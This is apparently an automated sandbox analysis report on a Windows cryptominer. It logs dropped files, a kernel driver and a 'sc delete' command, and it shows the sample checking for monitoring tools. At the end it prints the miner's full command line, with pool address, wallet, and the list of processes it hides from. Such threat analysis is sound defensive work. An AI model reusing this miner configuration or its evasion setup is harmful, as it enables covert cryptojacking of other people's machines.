Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: feZvV3DCj8.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: feZvV3DCj8.exe

Static file information: File size 2629120 > 1048576

Source: feZvV3DCj8.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x277a00

Source: feZvV3DCj8.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: sujlgqpnxcwv.exe, 00000018.00000003.2119578349.0000018286F70000.00000004.00000001.00020000.00000000.sdmp

Source: feZvV3DCj8.exe	Static PE information: section name: .00cfg
Source: sujlgqpnxcwv.exe.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Code function: 0_2_00007FF6C8A81394 push qword ptr [00007FF6C8A8B004h]; ret	0_2_00007FF6C8A81403
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Code function: 24_2_00007FF6953D1394 push qword ptr [00007FF6953DB004h]; ret	24_2_00007FF6953D1403
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_0000000140001394 push qword ptr [0000000140009004h]; ret	37_2_0000000140001403

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe

File created: C:\Windows\TEMP\kwjarrnckong.sys

Jump to behavior

Source: C:\Users\user\Desktop\feZvV3DCj8.exe	File created: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe			Jump to dropped file
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	File created: C:\Windows\Temp\kwjarrnckong.sys			Jump to dropped file

Source: C:\Users\user\Desktop\feZvV3DCj8.exe

File created: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe

Jump to dropped file

Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe

File created: C:\Windows\Temp\kwjarrnckong.sys

Jump to dropped file

Source: C:\Users\user\Desktop\feZvV3DCj8.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "STEUPFSB"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3327081247.000001B71BBE4000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXELLL
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BAF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CONHOST.EXE--ALGO=RX/0--URL=ZEPH.2MINERS.COM:12222--USER=ZEPHS7EP8ZTAFTPFMEDUQD5XGYLEVBJWCHXRPBA92FMJVJCJI9EXQSDP5QQLVXMN7UTSTFQPMAVDE2YDBWUPJCTU2GGMSNVQXFD--PASS=--CPU-MAX-THREADS-HINT=20--CINIT-WINRING=KWJARRNCKONG.SYS--RANDOMX-NO-RDMSR--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-STEALTH-FULLSCREEN--CINIT-VERSION=3.4.1--TLS--CINIT-IDLE-WAIT=1--CINIT-IDLE-CPU=80--CINIT-ID=MNAEMHTHQFVSJPOZ
